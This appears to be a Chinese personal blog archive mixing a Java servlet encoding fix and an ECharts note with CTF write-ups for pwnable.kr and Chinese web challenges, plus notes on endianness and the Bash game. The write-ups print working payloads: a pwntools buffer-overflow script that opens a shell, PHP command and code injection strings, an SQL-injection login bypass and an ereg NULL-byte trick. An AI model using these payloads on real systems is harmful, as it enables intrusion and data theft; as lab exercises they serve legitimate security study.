echarts+ajax+java制作图表
整理了下学校男女身高体重数据,顺便当复习java了
charts在绘图前我们需要为其准备一个具备高宽的 DOM 容器。
<body> <!-- 为 ECharts 准备一个具备大小(宽高)的 DOM --> <div id="main" style="width: 600px;height:400px;"></div> </body>
where are you
整理了下学校男女身高体重数据,顺便当复习java了
charts在绘图前我们需要为其准备一个具备高宽的 DOM 容器。
<body> <!-- 为 ECharts 准备一个具备大小(宽高)的 DOM --> <div id="main" style="width: 600px;height:400px;"></div> </body>
记录一下写作业遇到的问题
纠结了很久,代码是用servlet来处理form
其中post传输用户信息时一直乱码,最后查了半天才找见解决方法
- 在jsp页面的<%@ page 位置加上 contentType=”text/html; charset=utf-8″ %>,<meta 的位置也是如此:content=”text/html;charset=utf-8″ />
- 建立一个mysql数据库,字符集采用utf-8,建表也是如此。
- 在getConnection的URL中加上:?useUnicode=true&characterEncoding=UTF-8″,如:url = “jdbc:mysql://localhost:3306/(此处为数据库名称)?useUnicode=true&characterEncoding=UTF-8″,也就是在(数据库名称)的后面 //其中问号不能丢
- 如果你不是在jsp页面里直接处理form,也是和我一样采用servlet来处理form的话,那么在还要增加一个过滤器,这主要是因为采用的是tomcat的web发布器,如果用resin的话,不会有这样的问题。
package UserSystem.filter; /** * Created by Ruilin on 2017/12/19. */ import java.io.IOException; import javax.servlet.Filter; import javax.servlet.FilterChain; import javax.servlet.FilterConfig; import javax.servlet.ServletException; import javax.servlet.ServletRequest; import javax.servlet.ServletResponse; import javax.servlet.http.HttpServletRequest; import javax.servlet.http.HttpServletRequestWrapper; public class SetCharacterEncodingFilter implements Filter { class Request extends HttpServletRequestWrapper { public Request(HttpServletRequest request) { super(request); } public String toChi(String input) { try { byte[] bytes = input.getBytes("ISO8859-1"); return new String(bytes, "utf-8"); } catch (Exception ex) { } return null; } private HttpServletRequest getHttpServletRequest() { return (HttpServletRequest) super.getRequest(); } public String getParameter(String name) { return toChi(getHttpServletRequest().getParameter(name)); } public String[] getParameterValues(String name) { String values[] =getHttpServletRequest().getParameterValues(name); if (values != null) { for (int i = 0; i < values.length; i++) { values[i] = toChi(values[i]); } } return values; } } public void destroy() { } public void doFilter(ServletRequest request, ServletResponse response,FilterChain chain) throws IOException, ServletException { HttpServletRequest httpreq = (HttpServletRequest) request; if (httpreq.getMethod().equals("POST")) { request.setCharacterEncoding("utf-8"); } else { request = new Request(httpreq); } chain.doFilter(request, response); } public void init(FilterConfig filterConfig) throws ServletException { } }然后在WEB-INF目录下的web.xml文件,配置下过虑器
<filter> <filter-name>SetCharacterEncodingFilter</filter-name> <filter-class>UserSystem.filter.SetCharacterEncodingFilter</filter-class> </filter> <filter-mapping> <filter-name>SetCharacterEncodingFilter</filter-name> <url-pattern>/*</url-pattern> </filter-mapping>
参考:http://blog.sina.com.cn/s/blog_6c5ad3d10100ligv.html
ssh连上
找到fd的源码
#include <stdio.h> #include <stdlib.h> #include <string.h> char buf[32]; int main(int argc, char* argv[], char* envp[]) { if(argc<2) { printf("pass argv[1] a number\n"); return 0; } int fd = atoi( argv[1] ) - 0x1234; int len = 0; len = read(fd, buf, 32);if(!strcmp("LETMEWIN\n", buf)) { printf("good job :)\n"); system("/bin/cat flag"); exit(0); } printf("learn about Linux file IO\n"); return 0; }
首先,程序接收一个参数argv[1],转换为整数型之后减0x1234 ,读入buf ,比较是否与LETMEWIN相同,如果相同则get flag
read函数
ssize_t read(int fd,void * buf ,size_t count);
read()会把参数fd所指的文件传送nbyte个字节到buf指针所指的内存中。若参数nbyte为0,则read()不会有作用并返回0。返回值为实际读取到的字节数,如果返回0,表示已到达文件尾或无可读取的数据。错误返回-1,并将根据不同的错误原因适当的设置错误码。
linux文件描述符
Integer value | <stdio.h> file stream |
---|---|
0 | stdin |
1 | stdout |
2 | stderr |
也就是我们可以令fd=0 使得标准输入,buf的值就可以键入了
又因为
int fd = atoi( argv[1] ) - 0x1234;
所以我们令fd=0x1234的10进制4660然后键入LETMEWIN
先看代码
#include <stdio.h> #include <string.h> unsigned long hashcode = 0x21DD09EC; unsigned long check_password(const char* p){ int* ip = (int*)p; int i; int res=0; for(i=0; i<5; i++){ res += ip[i]; } return res; } int main(int argc, char* argv[]){ if(argc<2){ printf("usage : %s [passcode]\n", argv[0]); return 0; } if(strlen(argv[1]) != 20){ printf("passcode length should be 20 bytes\n"); return 0; } if(hashcode == check_password( argv[1] )){ system("/bin/cat flag"); return 0; } else printf("wrong passcode.\n"); return 0; }
分析源码,首先输入长度为20的字符然后与关键函数check_password比较
unsigned long check_password(const char* p){ int* ip = (int*)p; int i; int res=0; for(i=0; i<5; i++){ res += ip[i]; } return res; }
p强制转化为指针,32位下指针一般与char的大小相同,所以相当于分成5组(char1个字节,int4个字节)
然后把每四个字符看成一共int型的数字,进行5次循环相加,结果放入res中
最后符合hashcode = 0x21DD09EC; 拆分一下符合20长度限制,如下
>>> hex(0x21dd09ec-0x01010101*4) '0x1dd905e8'
注意下是小端模式
./col $(python -c "print'\xE8\x05\xD9\x1D'+'\x01'*16")
给的源码:
#include <stdio.h> #include <string.h> #include <stdlib.h> void func(int key) { char overflowme[32]; printf("overflow me : "); gets(overflowme); // smash me! if(key == 0xcafebabe) { system("/bin/sh"); } else { printf("Nah..\n"); } } int main(int argc, char* argv[]) { func(0xdeadbeef); return 0; }
key == 0xcafebabe 即可拿到shell但实际传的key为0xdeadbeef
又看到gets 可以溢出
IDA打开编译好的c
发现char s //[sp + 1Ch] [bp – 2Ch]说明,这个字符串s 是从[bp – 2Ch]处开始进入栈缓冲区的,所以我们只要覆盖2C字节,再加上EBP和EIP的8个字节,总共52个字节就可以成功覆盖第一个变量,也就是func里面的参数覆盖为0xcafebabe
这里盗个图方便理解
所以EXP为
from pwn import * p = remote('pwnable.kr',9000) p.send('A'*52+'\xbe\xba\xfe\xca') p.interactive()
拿到flag
大端模式,是指数据的高字节保存在内存的低地址中,而数据的低字节保存在内存的高地址中,这样的存储模式有点儿类似于把数据当作字符串顺序处理:地址由小向大增加,而数据从高位往低位放;这和我们的阅读习惯一致。小端模式,是指数据的高字节保存在内存的高地址中,而数据的低字节保存在内存的低地址中,这种存储模式将地址的高低和数据位权有效地结合起来,高地址部分权值高,低地址部分权值低。
内存地址 | 小端模式存放内容 | 大端模式存放内容 |
0x4000 | 0x78 | 0x12 |
0x4001 | 0x56 | 0x34 |
0x4002 | 0x34 | 0x56 |
0x4003 | 0x12 | 0x78 |
目前Intel的80×86系列芯片是唯一还在坚持使用小端的芯片,ARM芯片默认采用小端,但可以切换为大端;而MIPS等芯片要么采用全部大端的方式储存,要么提供选项支持大端——可以在大小端之间切换。另外,对于大小端的处理也和编译器的实现有关,在C语言中,默认是小端(但在一些对于单片机的实现中却是基于大端,比如Keil 51C),Java是平台无关的,默认是大端。在网络上传输数据普遍采用的都是大端。
比较经典的文件包含题,记录一下
首先看phpinfo里allow_url_include为On
所以可以使用php://input包含执行命令
<?php system(ls);?>
关键文件在dle345aae.php
配合
php://filter/convert.base64-encode/resource=dle345aae.php
读取源码
<?php $flag="flag{3da178f7-c351-4acc-b6c1-0b0719f4ec9e}";
这里用到PHP超全局变量
$GLOBALS — 引用全局作用域中可用的全部变量
$GLOBALS 这种全局变量用于在 PHP 脚本中的任意位置访问全局变量(从函数或方法中均可)。
PHP 在名为 $GLOBALS[index] 的数组中存储了所有全局变量。变量的名字就是数组的键。
payload:
http://4687f7fdd5d64157a0dea153446a49728bbc8a7ce1bd49c6.game.ichunqiu.com/?hello=GLOBALS
代码注入一下就ok
?hello=);system(ls);//
看来只有flag.php
然后我们直接输出源码就行
比较坑的是i春秋带了waf…我们改成post再传个值绕过
水过..
最近准备刷一下实验吧的题,抽空做个小记录
题目连接:http://ctf5.shiyanbar.com/web/5/index.php
题目就是登陆成功用户后获得flag
首先获得php源码
<html> <head> welcome to simplexue </head> <body> <?php if($_POST[user] && $_POST[pass]) { $conn = mysql_connect("********, "*****", "********"); mysql_select_db("phpformysql") or die("Could not select database"); if ($conn->connect_error) { die("Connection failed: " . mysql_error($conn)); } $user = $_POST[user]; $pass = md5($_POST[pass]); $sql = "select pw from php where user='$user'"; $query = mysql_query($sql); if (!$query) { printf("Error: %s\n", mysql_error($conn)); exit(); } $row = mysql_fetch_array($query, MYSQL_ASSOC); //echo $row["pw"]; if (($row[pw]) && (!strcasecmp($pass, $row[pw]))) { echo "<p>Logged in! Key:************** </p>"; } else { echo("<p>Log in failure!</p>"); } } ?> <form method=post action=index.php> <input type=text name=user value="Username"> <input type=password name=pass value="Password"> <input type=submit> </form> </body> <a href="index.txt"> </html>
其中
$sql = "select pw from php where user='$user'";
显然可以注入
接着往下看
$row = mysql_fetch_array($query, MYSQL_ASSOC); //echo $row["pw"]; if (($row[pw]) && (!strcasecmp($pass, $row[pw]))) { echo "<p>Logged in! Key:************** </p>"; }
这里把sql语句执行得到的数据放到row 并且判断其中的pw是否与输入的md5($_POST[pass]);相等
因为这里把用户和密码的判断分开 所以我们没法按常规注释掉密码的sql判断
但是因为row的数组结果是之前$sql的语句,所以我们其实可以通过sql注入生成一个密码来绕过
那就好办了,首先先试出来用户名为username
接下来构造sql语句
username' union select md5(123)#
密码处填写123 成功拿到flag
巴什博奕(Bash Game):
只有一堆n个物品,两个人轮流从这堆物品中取物,规定每次至少取一个,最多取m个。最后取光者得胜。
显然,如果n=m+1,那么由于一次最多只能取m个,所以,无论先取者拿走多少个,后取者都能够一次拿走剩余的物品,后者取胜。
因此我们发现了如何取胜的法则:如果n=(m+1)r+s,(r为任意自然数,s≤m),那么先取者要拿走s个物品,如果后取者拿走k(≤m)个,那么先取者再拿走m+1-k个,结果剩下(m+1)(r-1)个,以后保持这样的取法,那么先取者肯定获胜。总之,要保持给对手留下(m+1)的倍数,就能最后获胜。所以说,当s=n%(m+1)中,s>0的时候,为先取者的必胜态。
这个游戏还可以有一种变相的玩法:两个人轮流报数,每次至少报一个,最多报十个,谁能报到100者胜。
题目链接:http://ctf5.shiyanbar.com/web/more.php
View the source code:
<?php if (isset ($_GET['password'])) { if (ereg ("^[a-zA-Z0-9]+$", $_GET['password']) === FALSE) { echo '<p>You password must be alphanumeric</p>'; } else if (strlen($_GET['password']) < 8 && $_GET['password'] > 9999999) { if (strpos ($_GET['password'], '*-*') !== FALSE) { die('Flag: ' . $flag); } else { echo('<p>*-* have not been found</p>'); } } else { echo '<p>Invalid password</p>'; } } ?>
ereg函数存在NULL截断漏洞,可以%00截断,则不会读取后面的内容,可以绕过输入*-*
大小和长度限制可以利用科学计数法
最后的payload
http://ctf5.shiyanbar.com/web/more.php?password=1e8%00*-*
1e8即100000000 > 9999999
%00在计算长度时算一个字节